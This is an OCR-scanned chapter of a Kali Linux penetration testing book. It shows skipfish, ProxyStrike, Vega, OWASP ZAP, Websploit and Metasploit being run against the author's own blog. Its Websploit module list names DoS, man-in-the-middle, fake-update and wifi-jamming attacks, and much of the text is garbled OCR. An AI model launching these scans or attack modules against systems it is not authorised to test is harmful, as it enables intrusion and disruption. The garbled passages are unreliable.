File Edit Search Options Help

ttro
eg 1 1 1 7z
es 1 1 1 as
es 1 1 1 asmx
es 1 1 1 asp
es 1 1 1 aspx
eg 1 1 1 bak
es 1 1 1 bat
eg 1 1 1 bin
eg 1 1 1 bz2
es 1 1 1 c
es 1 1 1 cc
eg 1 1 1 cfg
es 1 1 1 cfm
es 1 1 1 cgi
es 1 1 1 class
eg 1 1 1 cnf
eg 1 1 1 conf
eg 1 1 1 config

[Welcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press 'trl-C. A partial report will be written
to the specified location. To view a list of currently scanned URLs, you can
press space at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
drops below 100-200, the scan will likely take a very long time,

3) The scanner does not auto-limit the scope of the scan; on complex sites, you
may need to specify locations to exclude, or limit brute-force steps.

4) There are several new releases of the scanner every month. If you run into
trouble, check for a newer version first, let the author know next.

More info: http://code.google.eom/p/skipfish/wiki/KnownIssues

NOTE: The scanner is currently configured for directory brute-force attacks,
and will make about 241544 requests per every fuzzable location. If this is
not what you wanted, stop now and consult the documentation.

Press any key to continue (or wait 60 seconds)...|
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You can press the Spacebar to see the details on the scan or watch the default numbers 
run. Scanning a target can take anywhere from 30 seconds to a few hours to complete 
the process. You can end a scan early by typing Ctrl + C.

–o option to designate an output folder. 
To see the results, click on the index.html
browser. You can click through the drop-down boxes to see your results. See the 
example reports section for more information.

http://itbookshub.com

skipfish version 2.09b by Icamtuf (3google.com

- www.thesecurityblogger.com -
Scan statistics:

Scan time
HTTP requests

Compression
HTTP faults

TCP handshakes
TCP faults

External links
Reqs pending

0:00:27.858
1167 (42.0/S), 612 kB in, 244 kB out (30.8 kB/s)
322 kB in, 550 kB out (26.1% gain)
0 net errors, 0 proto errors, 0 retried, 0 drops
22 total (54.5 req/conn)
0 failures, 0 timeouts, 1 purged
119 skipped
31

atabase statistics:

Pivots
In progress

Missing nodes
Node types

Issues found
Diet size

Signatures

123 total, 1 done (0.81%)

107 pending, 13 init, 1 attacks, 1 diet
1 spotted
1 serv, 34 dir, 11 file, 0 pinfo, 54 unkn, 23 par, 0 val
5 info, 0 warn, 8 low, 4 medium, 0 high impact
2506 words (335 new), 76 extensions, 256 candidates
75 total

Scanner version: 1.78b
Random seed: 0x10419208

Scan date: Sun Nov 21 23:40:36 2010

Total time: o hr 9 min 8sec 467 ms

Problem; with this scan? Click here for adviceskipfish
Crawl results - click to expand:

— http://www.example.com/ 04 06 f/67
Code: 200, length: 596.. declared: text/html, detected: application/xhtml-xml, charset: UTF-8 [ show trace + ]

New 404 signature seen

1. Code: 404, length: 270.. declared: text/html. charset: iso-8859-1 [ show trace + ]

© New 'Server' header value seen

1. Code: 200. length: 596. declared: text/html charset: UTF-8 [ show trace + ]
Memo: Apache

+ .svn 01
Code: 403, length: 272, declared: text/html, detected: application/xhtml-xml, charset: iso-8859-1 [ show trace -]

cgi-bin if
Code: 403 length: 275, declared: text/html detected: application/xhtml-xml. charset: iso-8859-1 [ show trace + ]— error ©1
Code: 403, length: 273, declared: text/html, detected: application/xhtml-xml, charset: iso-8859-1 [ show trace + ]

# -svn if
Code: 403, length: 278, declared: text/html. charset: iso-8859-1 [ show trace + ]

+ include
Code: 403, length: 281, declared: text/html, detected: application/xhtml-xml, charset: iso-8859-1 [ show trace *]m

II + README if 01
Code: 200, length: 1979, declared: text/plain, detected: text/plain, charset: UTF-8 [ show trace + ]

+ icons 04 02 4J57
Code: 200, length: 30019, declared: text/html, detected: application/xhtml-xml, charset: ISO-8859-1 [ show trace + ]*
index.html
Code: 200, length: 596 declared: text/html charset: UTF-8 [ show trace - ]

Document type overview - click to expand:

application/xhtml+xml (5)
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ProxyStrike
ProxyStrike is a web application proxy built to identify vulnerabilities while browsing 
an application. It runs like a proxy listening on port 8008 by default, meaning you 

analyze all the parameters in the background while your surf the target's website.  
The proxy features are great for identifying, intercepting, and modifying requests.

Preferences | Advanced | Network and select Settings. Select Manual Proxy and 
enter the IP address of your Kali server followed by the port of 8008 (unless you plan 
to change the ProxyStrike default port).

http://itbookshub.com

o o o Advanced

a ®i0 1r,ri[JJ] W
General Tabs Content Applications Privacy Security Sync Advanced

Configure Proxies to Access the Internet

ONo proxy

Oÿuto-detect proxy settings for this network

OUse system proxy settings

©Manual proxy configuration:

Cc

(2

Port: 8008 Q
CD Use this proxy server for all protocols

Port:

Port:

Port: [

HTTP Proxy: 172.16.76.131
Y

0 @SSL Proxy:

FTP Proxy:

SOCKS Host:

0 @
01

0 @
Y GSOCKS v4 ©SOCKS v5
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To use ProxyStrike, go to Web Applications | Web Vulnerability Scanners and 
select ProxyStrike. Assuming your Internet 

 tab. We will spend more time using 
Proxies in Chapter 6, Web Attacks.

XSS plugin vulnerabilities. You do not have to have ProxyStrike set up as a proxy to 
use the crawler features. To run the crawler feature on a website with XSS plugins, 
click on the Plugins tab, scroll to the XSS plugs, and select to enable the plugins 
using the checkbox. Next, select the crawler tab. Enter the target website including 
http://, check the crawl using the plugins box and click on the large Stop button 
to change it to Running. Adding the plugins will increase the time to complete a 
scan. ProxyStrike will display a status bar providing an estimate on how long a scan 
should take.

http://itbookshub.com

ProxyStrike v2.1

Help

Comms Request Stats Variable Stats Config Plugins Log Repeat Request Crawler

IBMethod Target

GET http://www.thesecurityblogger.com /1

http://googleads.g.doubleclick,net /pagead/ads?client=ca-pub-9261916952152076&output=html&h= 200&slotname=95946

http://googleads.g.doubleclick,net /pagead/ads?client=ca-pub-9261916952152076&output=html&h=600&slotname= 21210

http://googleads.g.doubleclick,net /pagead/ads?client=ca-pub-9261916952152076&output=html&h=600&slotname= 21210

2 GET

3 GET

4 GET

c r:cT h+friW/rtii /nival

B
Select

O Get O Post ® All Edit requests in view Delete requests in view Delete selected requestsRepeat Intercept

Target: All

|All cjPath :

S
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: close

Cookie: __utma=253748300.1757255857.1366923731.1367354074.1374097140.3;
__

utmz= 253748300.1366923731.1.1.utmcsr= (direct)|utmccn= (direct)|utmcmd= (none);

__
qca=P0-2019 2 25104-1366923733115; __utmb=253748300.1.10.1374097140; __utmc= 253748300

i

z
CL.

1'_

1
CL

Comms Request Stats Variable Stats Config Plugins

XSS & SSI attacks CPlugin selection:

0 enable
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http://itbookshub.com

Comms Request Stats Variable Stats Config Plugins Log Repeat Request Crawler

Uniq Froms

Stopped

0 Crawl using plugins

Url: http://www.thesecurityblogger.com

0% Not Running

Reset

v x ProxyStrike v2.1A

Help

Comms Request Stats Variable Stats Config Plugins Log Repeat Request Crawler

Uniq Froms

Running http://www.thesecurityblogger.com

http://www.thesecurityblogger.com
http://www.thesecurityblogger.com/?p=2068#comments
http://www.thesecurityblogger.com/?p=2068#more-2068
http://www.thesecurityblogger.com/7attachment_icN2070

http://www.thesecurityblogger.com/?attachment_id=2071
http://www.thesecurityblogger.com/?p=2068
http://www.thesecurityblogger.com/?p=2098#comments
http://www.thesecurityblogger.com/?p=2098#more-2098
http://www.thesecurityblogger.com/7attachment_icN2100
http://www.thesecurityblogger.com/?attachment_id=2099
http://www.thesecurityblogger.com/?p=2098

http://www.thesecurityblogger.com/?p=1903#comments
http://www.thesecurityblogger.com/?attachment_id=1999
http://www.thesecurityblogger.com/?attachment_id=1996
http://www.thesecurityblogger.com/?attachment_id=2113
http://www.thesecurityblogger.com/?attachment_id=1992
http://www.thesecurityblogger.com/?attachment_id=2112
http://www.thesecurityblogger.com/?attachment_id=2111

http://www.thesecurityblogger.com/?p=2123#respond
http://www.thesecurityblogger.com/?attachment_id=2127
http://www.thesecurityblogger.com/?p=2123#more-2123
http://www.thesecurityblogger.com/?attachment_id=2126
http://www.thesecurityblogger.com/?attachment_id=2125

http://www.thesecurityblogger.com/?p=2123
http://www.thesecurityblogger.com/?p=2161#comments

Q Crawl using plugins

Url: http://www.thesecurityblogger.com

473/325314%

Reset

Crawling process: The crawling process is performed by TWO threads

to avoid web server overloading.

The uris detected can be forwarded to enabled plugins.

Moreover detected forms are shown in the table and can be filled

manually by double-clicking on each link. Enjoy!
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The Plugins tab shows the results of a crawl after a scan is launched. Attacks 
exported via HTML or XML.

The Log tab shows what tasks are being run against the target website and the level 
of success for deliverable. 
The 

ProxyStrike offers other useful features. More on ProxyStrike can be found at 
http://www.edge-security.com/proxystrike.php.

http://itbookshub.com

Comms Request Stats Variable Stats Config Plugins Log Repeat Request Crawler

Plugin selection: |XSS & SSI attacks | | Reset cache | | Export HTML | | Export XML

Request threads 1B enable

Uri Variable Method Injections Available

- http://www.thesecurityblogger.com/?cat=242

cat GET

- http://www.thesecurityblogger.com/?tag=the-balancing-act
' (Single Quotes) (Normal Encoding),
( ) (Parenthesis) (Normal Encoding)

tag GET

- http://www.thesecurityblogger.com/?p=2068

GETP
- http://www.thesecurityblogger.com/?attachment_id=2071

attachmentjd GET

- http://www.thesecurityblogger.com/?page_id=2
pagejd GET

- http://www.thesecurityblogger.com/?feed=comments-rss2
feed ( ) (Parenthesis) (Normal Encoding)GET

Comms Request Stats Variable Stats Config Plugins Log Repeat Request Crawler

Log output:

Trying sql Injection on: [ URL: http://www.thesecurityblogger.com/wp-
includes/jsAhickbox/thickbox.js?ver=3.1-20121105 ]

================== XSS/SSI ====================
[ URL: http://www.thesecurityblogger.com/wp-includes/js/thickboxAhickbox.js?ver=3.1-20121105 ]

Stab 1 - DONE
Trying ver...

++++++++++++++++++ FINISH XSS/SSI +++++++++++++++++
[ URL: http://www.thesecurityblogger.com/wp-includes/jsAhickboxAhickbox.js?ver=3.1-20121105 ]
+++++++++++++++++++++++++++++++++++++++++++++++++++
================== XSS/SSI ====================
[ URL: http://www.thesecurityblogger.com/?cat=242 ]

Stab 2 - DONE
URL is STABLE

n[r~r
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Vega

Vega is a security testing tool used to crawl a website and analyze page content to 

To launch Vega, go to Web Applications | Web Vulnerability Scanners and select 
Vega

http://itbookshub.com

©VEGA10

Subgraph Vega

File Scan Window Help

ffi O £ O Scanner & Proxy

© Website View O Scan Info= “

<s> A m B

©VEGA
O Scan Alerts = Scan Alert Summary

El El

O

O Medium

©
v»

1.41 Identities S3

Proxy is not running& & 71M of 248M

www.freepdf-books.com



Server-side Attacks

[ 86 ]

Vega has Scanner and Proxy tabs on the top-right corner. To use Vega as a Scanner, 
click on the Scanner tab on the top-right corner, click on Scan on the top-left corner, 
and select to start new scan.

The following example is targeting 
www.thesecurityblogger.com. Choose your target and click on Next:

The next sections are options you can assess your target against. There are two main 
modules (Injection and Response Processing) with many options to scan against. 
Click on the small carrot under each module, select the options you want to scan for, 
and click on Next.

http://itbookshub.com

File Scan Window Help

N© o © Scanner & Proxy

@1 Website View © Scan Info=

<9> A © B

©VEGA
t> © www.thesecurityblogger.ct

t> © Igravata

Q l.gravata

Scan Target

® Enter a base URI for scan:

http://www.thesecurityblogger.coml

O Choose a target scope for scan

Default Scope 0 I Edit Scopes

©VEGA
Select Modules

Choose which scanner modules to enable for this scan

Select modules to run:

v H Injection Modules

Format String Injection Checks

0 Cross Domain Policy Auditor

0 XML Injection checks

0 Blind SQL Text Injection Differential Checks

0 XSS Injection checks

Integer Overflow Injection Checks

0 Shell Injection Checks

0 Blind OS Command Injection

0 Remote File Include Checks

Blind SQL Injection Timing Analysis Checks

0 Directory Listing and Traversal Checks

E71 C/ÿl I

< Back Next > Cancel Finish
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The following two screenshots offer the ability to add cookies and exclusion patterns 
to avoid fuzzing, which are both optional. You can leave the defaults and click on 
Next for both screens. Click on  to start your scan.

Vega will display the active scan and map vulnerabilities found to what level of risk 
they pose to the target system.

The top left window titled Website View displays the target(s) being scanned  
and other targets associated with the primary target. The bottom left window  
titled Scan Alerts shows the categories of vulnerabilities found. You can click  

detailed explanation of its possible impact. 

http://itbookshub.com

File Scan Window Help

o & 0 Scanner

@) Website View 0 Scan Info°

<3> B

t> @3 www.thesecurityblogger.ee

©3 O.gravata

@3 l.gravata

@3 lplugin.c

@3 apis.google.com

@VEGA
0

Scanner Progress

O Scan Alerts =

O D © 0

V 0
http://www.thesecurityblogger.com/wp-includes/ms-fu

119 out of 151 scanned (78.8%)
0 http://www.thesecurityblo<

O Medium (95)

0 Low (12)

> O Info (106)

© 05/09/2013 10:48:57 [Cance

Q http://www.thesecurityblo<

Scan Alert Summary

O found)

O Medium (95 found)
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The following screenshot shows a possible cross-site scripting vulnerability on  
www.thesecurityblogger.com:

Vega's Proxy section provides the ability to see the requests and responses from  
a target website. The Proxy section will be populated as a scan occurs.

http://itbookshub.com

© Website View “ B (T) Scan Info

I®VEGA Open Source Web Security Platform<8> & 0 6

t> © www.thesecurityblogger.cd

© >.c

© ..gravata

> © .pi

I> <§|

Local Filesystem Paths Found

AT A GLANCE

Classification

Resource

Risk

Information

/wp-includes/admin-bar.phpB

© Scan Alerts
D

O O ffi B
REQUEST

GET /wp-includes/admin-bar.php
© 05/18/2013 08:21:19 [Aud

© http://www.thesecurityb

O Medium (105)

Local Filesystem Pa
RESOURCE CONTENT

/home/f unktribe/thesecurityblogger . com/wp- includes/admin- bar .php* /

* /wp-includes/aut

/wp-includes/car

•* /wp-includes/cat

DISCUSSION

Vega has detected a possible absolute filesystem path (i.e. one that is not relative to the web
root), This information is sensitive, as it may reveai things about the server environment to an_ /rtAm UWAI if r- , r- r- k I i A C..II

Requests Q £ F
Time (r —ID Host Method Request Status Length

*
1http://www.thesf GET / 200 159612 3926

http://www.thes(| GET I 0 162 I1 /wp-content/

/wp-includes/

/xmlrpc.php

/wp-includes/js/

/wp-includes/themi

200

2 j http://www.thes(| GET

http://www.thes«| GET

http://www.thes(| GET

http://www.thes«! GET

200 i 10437

200 | 42

200 j 5152

200 I 877

251

1123 |3

4 217

5 90

BIII

(Q) on B - -
Request Response

<title>Joey Muniz - The Security Blogger</title>

<link rel="profile" href=Mhttp://gmpg.org/xfn/ll" />
=
=

<link rel="stylesheet" type="text/css" media="all" href="http://www.thesecuritybl(

<link rel="pingback" href="http://www.thesecurityblogger.com/xmlrpc.php" />

<link rel ="alternate" &raqu.
<link rel="alternate" type="application/rss+xml" title="The Security Blogger &raqu<

<link rel='stylesheet' id='thickbox-css' href='http://www.thesecurityblogger.com/w
<link rel='stylesheet' id='gdsr_style_main-css' href='http://www.thesecurityblogge

as%23slpcrystal%23slpdarkness%23slpoxygen%23slgoxygen_gif%23slpplain%23

ext/css' media='all' />

.ication/rss+xml" title="The Security Bli

j
1 of 2 highlights v'

<link rel =,stylesheet' id = 'qdsr_style_xtra-css' hre

CD

3 4 ® Proxy iswww.freepdf-books.com
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Vega offers details about vulnerabilities found in the central display window as well 

 also known as Zaproxy is an intercept proxy designed for the security 
testing of web applications.

Open Zaproxy by going to Web Applications |  and  
selecting owasp-zap. There will be a disclaimer pop-up that must be accepted to start  
the program.

Upon accepting the license disclaimer, Owasp-Zap will open and display another pop-

Generate button.

http://itbookshub.com

Scan Alert Summary

O Hi Jon€

0 Medium (106 found)

Local Filesystem Paths Found

PHP Error Detected

Possible Source Code Disclosure

46

59

1

G Low (34 found)

Directory Listing Detected

Internal Addresses Found

31

3

O Info (119 found)

News Feed Detected

Blank Body Detected

Possible AJAX code detected

Character Set Not Specified

1

61

1

56

OWASP ZAP

SSL Root CA certificate

SSL wont work if you haven't created and imported an
™

OWASP ZAP CA root certificate. You can create such a
; certificate anytime in the options menu, so you do not have
to create it nght now.

I Generate , Go to options panel and create certificate now.

Later I Not now. but create certificate later.www.freepdf-books.com
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Generate
clicking on Save
called owasp_cap_root_ca.cer.

 and open your browser. For Firefox, 
go under Edit | Preferences and click on the Advance tab. Click on the Encryption 
subtab and click on . Next click on Import
you generated in Zaproxy (the .cer trust with the 
new . Check all three options, which are trust websites, e-mail 
users, and software developers. Click on  twice.
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cii iuai u IIIVU

Sitesw [_
Options Dynamic SSL Certificates

to Sites Active Scan

AJAX Spider

Anti CSRF Tokens
Roc*r‘ ;--*>ftea...

\ O Generate 1

.....BEGIN CERTIFICATE
MIID60CCAt CgAwIBAglEMc ZqTANBgk qhklGSfcrOBAQUFADCBg] EnMCUGAl
TldBUlAgWmVk IEFOdGF] ayBQcB94eS8Sb290IENBMRYvFAYDV0Qrt)AOzWT
Y2Jk HTk * MRYwÿAYDVQQKDAlPV0FTUC8Sb290IENBHRovGAYDVQQLDBFPVO

0VAgU»9wdC8D0TELMAkGAlUffihMCeMgwHhcNKmÿWTA5Mj EzNj AOWhcNKT
M) EzN) AOW] CBgj EnMCUGAlUEAweTldBUI AgWaVkIEFOdGF] ayB0c»94eS
IENBMRYvFAYDVQQHDA0zNTgvZTIyY2JkMTk iMRYwf AYDVQQKDA1PV0FTUC

IENBMRovGAYDVQOLDBFPVOFTUCBaQVAgUm9vdCBDOTELHAk GA1UEBhMCeH
MA0GCSqGSIb3DQEBAQUAA4I8tVAvggEKAoIBA0CS6ubv3zpjNaEF73Na9B

. - ---#is32GJXyf IT5f bGRhqgnMcElHf Z8Ir0o00Kvold06BQ73o/M/t jvG/sKY
T 1 m da i | J A1! 1| fi J

f hPUOTnH) t J80k aEVyTk ArITLC*bqB«H*t XBaYl nh63WHbFnQF

AO MO wnrH iNjcsvt ft *NRrMFSSViycBne37ZIGIHd5rPi/ J9pJ6zDH«glVlBSLapG6o
iFM4qIj ICvfcUC*6lXR2nEUKneYK)HF2;j jtzU+TpuEu JnAHJ4GnSSXkQnr/_ A0.M10.hash 4AGj ZDBiMB0GAlUdDgCWB8SZ3Eb6LJl HPBufvyBurrlUSPKIKzAPBgNVHR

AO Ml 0 word JTADAQH/MAsGAlUdDwQEAvIBt j Aj BgNVHSUEHDAaBggrBgEFBOcDAOYIKv
AwIGBFUdJ0A*DQYJKoZIhvcNAQEFBQADggEBAF9GWt Bj VnZq3XydCRgenO

completed f9pCXHAiHvuRXIvC*4rPj /PqkNzp/epIPzHah3yYB19v2DIAcZaB23Kc3N

complete.wi.old l/RD8j/BOCI6srThoDdIFHgWr-»43NHUk3Z«OZEaGWg5NnoolltsW>r3IdV
3eyzZGqy x3XS4PB0JnITIDf Zw4JFoKF/Hk JDV*C«s*NA8hhTT4u\Ugq9nK
7bXLNU*aOt HGV6EePuoERU6d rak J9zZAap/ 2MJJ /rt_q x 9vOf 8iutl r y f ek
Ajz7AOb*/t vk7N/r 3XUI OM/uXzCWOcbblkOy 30TKB89bpB\ PFlf 8ACV4pJ
[----END CERTIFICATE

API
Applications

Authentication
RrAaknnint c

Save

|(ÿ Desktop

ister-Llsts

r

sh-2.10b

ishoutput

O.hash

owasp_zap_root_ca.cer15

rpe: / J
•V

L j , CancelSave
[ fed Save )

You have been asked to trust a new Certificate Authority (CA).

Do you want to trust "OWASP Zed Attack Proxy Root CA" for the following purposes?

(vfl Trust this CA to identify websites.

Trust this CA to identify email users.

0Trust this CA to identify software developers.

Before trusting this CA for any purpose, you should examine its certificate and its policy
and procedures (if available).

Examine CA certificateView

Cancel
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by going to Edit, Preferences, selecting the Advanced tab, and then selecting the 
Network tab. Click on the  button, click on , 
type localhost and port 8080, which is the default for Zaproxy. Click on the 
checkbox next to Use this proxy server for all protocols and click on . The 

Open Zaproxy and you should see a Sites window on the top-left side. This will 
populate as you surf the Internet using Firefox. You can view all the requests and 
responses for each page on the right window. Zaproxy gives an easy view of all  
the resources being used by each webpage.

http://itbookshub.com

Connection Sotting*

Configure Proxies to Access the Internet

O No proxy

O Auto-detect proxy settings for this network

O Use system proxy settings

* Manual proxy configuration:

Port:HTTP Proxy localhost 8080
'

V] Use this proxy server for all protocols

No Proxy for:

localhost, 127.0 0 1

Example mozilla org, net nz. 192 168 10/24

O Automatic proxy configuration URL:

Help Cancel OK
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You can also do a targeted evaluation of a website by going to the quick start 
window and typing in a website in the URL to attack space. The following 
screenshot is Zaproxy performing a scan of www.thesecurityblogger.com:

Zaproxy will perform a spider crawl of the target website to identify all the 
links associated with the target as well as scan for vulnerabilities. To see the 
vulnerabilities, click on the Alerts tab.

Note that Zaproxy doesn't automate authentication by default. All login 
requests will fail using an automated scan if default settings are enabled.

http://itbookshub.com

Untitled Session - OWASP ZAP

File Edit View Analyse Report Tools Online Help

i Standard moae ’ , * V “» «ÿ » it

j Quick Start ~\ Request-Tf Responses } Break X~|j Sites'*1
# Sites 4

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP Is an easy to use Integrated penetration testing tool for finding vulnerabilities in web applications.

Please be aware that you should only attack applications that you have been specifically been gn/en perr

To quickly test an application, enter its URL below and press 'Attack*.

URL to attack http/Mww.thesecurityblogger-Com

[ U Stop

Spidering the URL to discover the contentProgress

For a more in depth test you should explore your application using your browser or automated regressioi

lit
*

Alerts Active ScanBreak Points XHistory Search %

Http Sessions WebSocket', ** AJAX Spid*-i -ÿ ,Spider <r | Forced Browse / [ Fuzrer w 1 Params

www.thesecuiityblogger.com:80 »J iu

Processed Method URJ

L% Current Scans:1|URIs Found: 745 'Ct

Flags

".C'D- http://www thuocuntyblogger com
http://www.thesecuntyblogger com/
http.//www.thesecurtyblogger com/7pagejd-2
http://www.thes«cuntyblogger com/>p4ged-2
http //www thesecuntyblogger com/,p-2620

GET 4

GET
GET :GET
GET T

Alerts f* 0 0 , 2 FI Current Scans ' 0 1 , 0 4$ 0 w 0 0

Spider & [
History“

Forced Browse / T Fuzzer J)

T Search Hi
Params [ j ] Http Sessions -4

Break Points

WebSockets £ ] AJAX Spi

Alerts Act

J Cross-domain JavaScript source file inclusion
URL
Risk:
Reliability Warning
Parameter: https://apis.google.com/ls/plusone.js
Attack:
Description:_

http://www.thesecurrtyblogger.com
T ft Alerts (4)

Low
"•Cross-domain JavaScript source file Inclusion (273)

ft . Private IP disclosure (3)

d|RJ X-Content -Type-Options header missing (91)

*X-Frame-Options header not set (91)

]
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manually log into a website while Zaproxy is enabled, tell Zaproxy where the 
login and logout requests are and enable the auto-login feature. The GET requests 
will appear in the Sites window and you must highlight both the login and logout 
responses under the Responses tab by right-clicking on the response, clicking on 

 and selecting if it's the login or logout.

An icon with a brown line will appear on the toolbar representing automatic 
authentication. Click on that icon to enable automatic authentication so that  
Zaproxy can automatically log in to any authentication request while doing an 
automated assessment of a target. This feature is helpful to auto-explore a website 
that requires authentication.

http://itbookshub.com

Sites'ÿ) ] [ Quick Start y ] Requestÿ! Responseÿ } Break X
_ GET:yuiloader-dom-event.js(v)

J_j GET:css.php(d.langid,sheet,styleid.td)

Ul GETicontent.php
t_i djdb

|_j GET:favicon.ico
Lj forumrunner

[j GET:detect.js

Simages_

I Header: Text | Body: Text OQA

AHTTP/1.1 200 OK

Date: Tue, 14 May 2013 15:19:53 GMT
Server: Apache
X- Powered- By : PHP/5.3.19
Cache- Control: private
Pragma: private

- rnnki p m<; 1 AÿtArti ui tv=H“ oym rp<;=WpH 1 A.Mau.MI A r.MT •

B POST: login.php(do)(do.s,securitytoken. var vb_disabLe_ajax = parsÿintcu", IU7T
var SIMPLEVERSION = * 421";

var BBURL = "hJ ...
var LOGGEDIN = 14336 > 0 ? true : false;
var THIS_SCRIPT = "login”;
var RELPATH =
var PATHS = {

forum : 11 11

cms : 11 11

A
Q POST: profile.php(do)(do,s,securitytokers1

£_j http://ww\A

L2 F*> http://www.thesecurityblogger.com

13 http://www“

Lj http://
U_j https:/‘*ÿA §£
Ljj https:/' '

forums";

rL «*- « w IAAIMU

hFlag as Context [ÿ[ÿ[ÿÿBIiBliI*l[«fr]

Find... 1 : Logged out indicator
Encode/Decode/Hash,,,

’
Syntax

View
Forced Browse y Fuzzer Q j Params L j Http Sessions Spider J Output

Search Break Points X SpiderHistory“
Can't Undo

Can't Redo

Ctrl+Z

Ctrl+Y(§) Cross-domain Jav.
http://wv

IRisk: PB Low
Reliability: Warning
Parameter: https://a
Attack:

Description:

URL:
T £Alerts (5)

ft ft1 Directory browsing (44)

Ctrl+X

Ctrl+C

Ctrl+V

Delete

Cut

Copy

Paste

Delete

Select All

Save Raw

"•Cross-domain JavaScript source file inclusion (3912) /

® HJ Private IP disclosure (93)

© HJ X-Content-Type-Options header missing (1655)

X-Frame-Options header not set (1353)
Ctrl+A

The page at the
third-party domalr

ipt files from a

Standard mode *11 IQI fcdl M I L"J I® II m m m \ V «= !ÿ _ÿ 0JI I jffl

X Break* Quick Start** Sites Request <«= Response
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Zaproxy has a market place found under Help |  that offers other 
features that can be added to the Zaproxy arsenal.

Zaproxy offers different reporting options found under the Report tab.

Here are examples of an HTML report for www.thesecurityblogger.com.

http://itbookshub.com

Manage Add-ons

( Installed [Marketplace!
Add-ons

UpdateStatus Name Description

Release Fusdb files
Beta BeanShell Console
Beta
Beta Port Scanner
Beta
Beta Script Console
Beta
Beta
Beta TreeTools
Alpha
Alpha Diff
Alpha Highlighter
Alpha
Alpha
Alpha

Fucdb vl.09 files which can be used with the ... 2
Provides a BeanShell Console 2

Passive scanner rules ... The beta quality Passive Scanner rules
Allows to port scan a target server

Report alert generator Allows you to generate reports for alerts you s... 9
Provides dynamic access to internal ZAP data ... 7
SVN Digger files which can be used with ZAP f... 2

3
3

SVN Digger files
Token generation and... Allows you to generate and analyze pseudo ra... 5

Tools to add functionality to the tree view.
Active scanner rules (... The alpha quality Active Scanner rules

Displays a dialog showing the differences bet... 2
Allows you to highlight strings in the request a... 3

Passive scanner rules ... The alpha quality Passive Scanner rules
SCIP - Control Event E... Identify, enumerate and activate dormant and... 2
Server-Sent Events

2
1

1

Allows you to view Server-Sent Events (SSE) co... 5

Tools Online HelpReport

Export Messages to File...

Export Response to File...

Export All URLs to File...

Compare with another Session...

Generate HTML Report...

Generate XML Report...

Low (Warning) Cross-domain JavaScript source file inclusion

Description The page at the following URL includes one or more script files from a third-party domain

URL http://www.thesecurityblogger.com

Parameter https://apis.google.com/js/plusone.js

Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources cant be controlled by end users of the application

Reference

Low (Warning) Cross-domain JavaScript source tile inclusion

Description The page at the following URL includes one or more script files from a third-party domain

URL http://www.thesecurityblogger.com

Parameter http://pagead2.googlesyndication.com/pagead/show_ads.js

Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources cant be controlled by end users of the application

Reference
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Websploit

Websploit is an open source project used to scan and analyze remote systems to  

To access Websploit, go under Web Applications |  and 
select websploit. A Terminal window will pop up with the Websploit banner. You 

typing show modules.

Type USE followed by the module you want and 
For example, to run the webkiller module, type use network/webkiller
in the target to attack using the set TARGET commands. Type RUN to run the module.

http://itbookshub.com

m AX ~\
\ _\ \ \

_ _ _x/7
\ \ /*_*\ \ !—rv /'._\/\ *\\

\ \_/ \_X XA _/\ \ \Cx \A_. 'X X \L\
\ *\

_
*
_

A \
_

\\ \ ,
_

/\/\
_

1 \/_//_/ \/
_

/ \/~ / V
_

/ \

A~\
\ \ V/\ \ \
\ \ \ \ \

_ Al\ X “X
/ \A \ X \/

\X_X \_/\ XLX X X X X \_
._//\

_
X X
_

/X X X \_\
X V X/

_
/X/
_

/ X/"/\/_/
XXX

\ \

X X

A X

Network Modules Desc ription

ARP Cache Denial Of Service Attack
Middle Finger Of Doom Attack
Man In The Middle Attack
Man Left In The Middle Attack
TCP Kill Attack
Fake Update Attack Using DNS Spoof
Fake Access Point

netwo rk/a rp_dos
netwo rk/mfod
netwo rk/mitm
netwo rk/mlitm
netwo rk/webk ille r
netwo rk/f akeupdate
netwo rk/fakeap

Exploit Modules Desc ription

exploit /autopwn

exploit/browser_autopwn
exploit/ java_applet

Metasploit Autopwn Service
Metasploit Browser Autopwn Service

M’Massr
Wireless Modules Desc ription

wif i/wif i_jamme r
wif i/wif idos

Wifi Jammer
Wifi Dos Attack

|wsf >

Mjjtj IraiSIII[Sf 13EM•LL

wsf :
[3

www.freepdf-books.com



Server-side Attacks

[ 96 ]

Exploitation
If a Penetration Tester invests the proper time and resources during the 
Reconnaissance of a target, the Penetration Tester should end up with a list of targets 
with possible vulnerabilities. The next step is prioritizing each target's value to your 
mission, approximating the level of effort required to exploit potential vulnerabilities, 
and judging the associated risk with performing the attack. The vulnerability and 
exploitation available in Kali are ideal for identifying and exploiting vulnerabilities 
found during the Reconnaissance of web application servers.

Metasploit
The Metasploit framework is one of the most popular tools for exploiting server-side 
attacks. It is considered one of the most useful tools for Penetration Testers. HD Moore 
created it in 2003. It is used as a legitimate Penetration Testing tool, as well as a tool 
used by attackers to conduct unauthorized exploitation of systems.

There are a plenty of sources dedicated to teaching how to use the Metasploit 
framework. In the context of this book, we will examine how Metasploit is used  
for server-side exploitation for testing potential web applications.

You can do so by typing service postgres start and service 
metasploit start in the Terminal window as root.

msfconsole to launch Metsaploit. 
msfconsole is the most popular way to launch Metasploit. It provides a user 
interface to access the entire Metasploit framework. Basic commands such as  
help and show will allow you to navigate through Metasploit.

Note that there are other methods to launch Metasploit such as 
msfgui (GUI-based) and msfcli (command line-based).

In addition to Metasploit commands, msfconsole will allow you to invoke 
underlying OS commands such as ping or nmap. This is helpful because it  
allows an attacker to execute routine tasks without leaving the console.

nmap to scan the local network. The results can  
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The command we issue is:

nmap -n -oX my.xml network

We will import our results from nmap
We do this by issuing the command:

db_import my.xml

A quick check of the host commands shows that our import is successful and 
Metasploit now has the nmap data.

We will also issue the services command to view the services available within 
Metasploit. The following is an example output of the service command:

http://itbookshub.com

msf > nmap -n -oX my. xml 172.16.189.0/24
[*] exec: nmap -n -oX my. xml 172.16.189.0/24

> db import ny.xml
l*J Importing 'Nmap XML' data
[•1 Import: Parsing with 'Nokogiri vl.5.2’
1*1 Importing host 172.16.189.1
[•J Importing host 172.16.189.5
[•] Importing host 172.16.189.131
I*] Successfully imported /root /my. xml
msf > hosts
Hosts

name os name os flavor os sp purposeaddress
o comments

mac

Unknown device172.16.189.1 80:58:56:3F :00:6B

